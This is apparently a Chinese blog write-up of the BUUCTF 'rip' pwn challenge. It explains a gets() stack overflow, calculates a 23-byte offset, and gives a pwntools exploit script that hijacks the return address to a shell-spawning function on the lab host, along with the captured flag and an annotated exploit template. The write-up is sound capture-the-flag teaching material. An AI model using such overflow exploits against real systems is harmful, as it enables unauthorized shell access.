BUUCTF(PWN)- rip

BUUCTF(PWN)- rip

打开题目得到靶机信息: node5.buuoj.cn:29045 和附件 pwn1

查看文件信息为 64-bit ,用 ida 打开附件

首先 shift+f12 查找字符串,能看见 system/bin/sh 字样,点击 please input 或者 ok,bye!!! 跳转

直接进入 main 函数查看

gets 并没有限制输入,gets 函数的缓冲区由用户提供,由于用户无法指定一次能读入多少字节,gets 函数如果没有读到 \n 结束 ,会一直读入数据,没有上限,存在栈溢出漏洞

双击 s 来到 Stack of main 视图,可以计算出只需存入 15 个字节即可劫持函数返回地址

但是后面还有 db 8 dup(?)

db: 定义字节类型变量的伪指令

dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定

?: 只分配存储空间,不指定初值

所以:偏移量=15+8=23

查找是否有系统调用函数,查看 fun() 函数

fun() 函数就是系统调用函数,起始地址为 0x401186

编写 exp:

from pwn import *

p = remote('node5.buuoj.cn', 29045)
payload = b'a' * 23 + p64(0x401186 + 1)
p.sendline(payload)

p.interactive()

执行

得到flag{0ba8fba1-e9a0-479a-b193-32fb50f0efe3}

exp编写步骤:

from pwn import *       #引入pwn库

p = remote(ip, port)     # 输入对应的ip地址和端口号来连接其他主机的服务

......          # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址

p.interactive()       # 反弹shell
posted @ 2024-09-28 16:58  butt3rf1y  阅读(54)  评论(0编辑  收藏  举报